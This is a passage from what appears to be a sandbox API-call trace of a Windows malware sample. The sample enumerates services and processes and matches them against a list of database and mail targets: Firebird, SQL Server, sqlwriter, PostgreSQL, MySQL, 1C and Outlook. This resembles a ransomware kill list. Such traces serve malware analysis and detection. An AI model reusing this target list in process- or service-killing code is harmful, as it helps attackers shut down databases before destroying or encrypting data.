(lpString="MpsSvc") returned 6 [0228.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0228.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0228.390] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0228.390] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0228.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0228.391] lstrlenW (lpString="NlaSvc") returned 6 [0228.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0228.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0228.391] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0228.391] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0228.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0228.391] lstrlenW (lpString="nsi") returned 3 [0228.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0228.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0228.391] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0228.391] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0228.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0228.391] lstrlenW (lpString="PcaSvc") returned 6 [0228.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0228.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0228.392] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0228.392] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0228.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0228.393] lstrlenW (lpString="PlugPlay") returned 8 [0228.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0228.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0228.393] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0228.393] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0228.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0228.393] lstrlenW (lpString="Power") returned 5 [0228.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0228.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0228.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0228.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0228.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0228.395] lstrlenW (lpString="ProfSvc") returned 7 [0228.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0228.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0228.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0228.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0228.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0228.395] lstrlenW (lpString="RpcEptMapper") returned 12 [0228.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.396] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0228.396] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0228.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0228.396] lstrlenW (lpString="RpcSs") returned 5 [0228.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0228.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0228.396] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0228.396] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0228.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0228.396] lstrlenW (lpString="SamSs") returned 5 [0228.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0228.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0228.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0228.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0228.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0228.397] lstrlenW (lpString="Schedule") returned 8 [0228.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0228.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0228.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0228.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0228.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0228.397] lstrlenW (lpString="SENS") returned 4 [0228.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0228.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0228.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0228.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0228.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0228.398] lstrlenW (lpString="ShellHWDetection") returned 16 [0228.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0228.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0228.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0228.398] lstrlenW (lpString="Spooler") returned 7 [0228.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0228.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0228.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0228.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0228.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0228.399] lstrlenW (lpString="SysMain") returned 7 [0228.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0228.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0228.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0228.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0228.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0228.399] lstrlenW (lpString="Themes") returned 6 [0228.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0228.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0228.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0228.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0228.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0228.400] lstrlenW (lpString="TrkWks") returned 6 [0228.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0228.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0228.400] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0228.400] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0228.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0228.400] lstrlenW (lpString="UxSms") returned 5 [0228.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0228.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0228.400] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0228.400] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0228.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0228.400] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0228.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0228.404] Process32FirstW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.405] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.406] lstrlenW (lpString="System") returned 6 [0228.406] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0228.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0228.407] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0228.407] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0228.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0228.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0228.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0228.407] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.409] lstrlenW (lpString="smss.exe") returned 8 [0228.409] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0228.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0228.409] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0228.409] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0228.409] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0228.409] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0228.409] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0228.409] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.410] lstrlenW (lpString="csrss.exe") returned 9 [0228.410] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0228.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0228.411] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0228.411] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0228.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0228.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0228.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0228.411] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.412] lstrlenW (lpString="wininit.exe") returned 11 [0228.412] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0228.412] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0228.412] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0228.412] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0228.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0228.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0228.413] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0228.413] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.414] lstrlenW (lpString="csrss.exe") returned 9 [0228.414] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0228.414] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0228.414] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0228.414] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0228.414] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0228.414] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0228.414] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0228.414] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.415] lstrlenW (lpString="winlogon.exe") returned 12 [0228.415] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0228.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0228.415] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0228.416] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0228.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0228.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0228.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0228.416] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.417] lstrlenW (lpString="services.exe") returned 12 [0228.417] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0228.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0228.417] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0228.417] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0228.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0228.417] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0228.417] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0228.417] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.418] lstrlenW (lpString="lsass.exe") returned 9 [0228.418] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0228.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0228.418] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0228.419] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0228.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0228.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0228.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0228.419] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0228.420] lstrlenW (lpString="lsm.exe") returned 7 [0228.420] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0228.420] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0228.420] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0228.420] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0228.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0228.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0228.420] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0228.421] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.421] lstrlenW (lpString="svchost.exe") returned 11 [0228.422] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.422] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.422] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.422] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.422] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.422] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.422] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.422] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.423] lstrlenW (lpString="svchost.exe") returned 11 [0228.516] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.516] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.516] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.516] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.516] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.516] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.516] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.516] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.518] lstrlenW (lpString="svchost.exe") returned 11 [0228.518] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.518] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.518] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.518] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.518] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.518] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.518] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.518] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.519] lstrlenW (lpString="svchost.exe") returned 11 [0228.520] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.521] lstrlenW (lpString="svchost.exe") returned 11 [0228.521] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.522] lstrlenW (lpString="audiodg.exe") returned 11 [0228.522] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.523] lstrlenW (lpString="svchost.exe") returned 11 [0228.523] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0228.524] lstrlenW (lpString="userinit.exe") returned 12 [0228.524] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.525] lstrlenW (lpString="explorer.exe") returned 12 [0228.525] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.526] lstrlenW (lpString="dwm.exe") returned 7 [0228.526] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.527] lstrlenW (lpString="svchost.exe") returned 11 [0228.527] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0228.529] lstrlenW (lpString="driver.exe") returned 10 [0228.529] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.530] lstrlenW (lpString="spoolsv.exe") returned 11 [0228.530] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0228.538] lstrlenW (lpString="taskhost.exe") returned 12 [0228.538] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.539] lstrlenW (lpString="svchost.exe") returned 11 [0228.539] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0228.540] lstrlenW (lpString="dllhost.exe") returned 11 [0228.540] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0228.541] lstrlenW (lpString="reader_sl.exe") returned 13 [0228.541] Process32NextW (in: hSnapshot=0x35c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0228.542] CloseHandle (hObject=0x35c) returned 1 [0228.542] Sleep (dwMilliseconds=0x1f4) [0229.350] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3298 [0230.211] EnumServicesStatusExW (in: hSCManager=0x41c3298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0230.213] GetLastError () returned 0xea [0230.213] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x41d0998 [0230.213] EnumServicesStatusExW (in: hSCManager=0x41c3298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0230.214] CloseServiceHandle (hSCObject=0x41c3298) returned 1 [0230.214] lstrlenW (lpString="AudioEndpointBuilder") returned 20 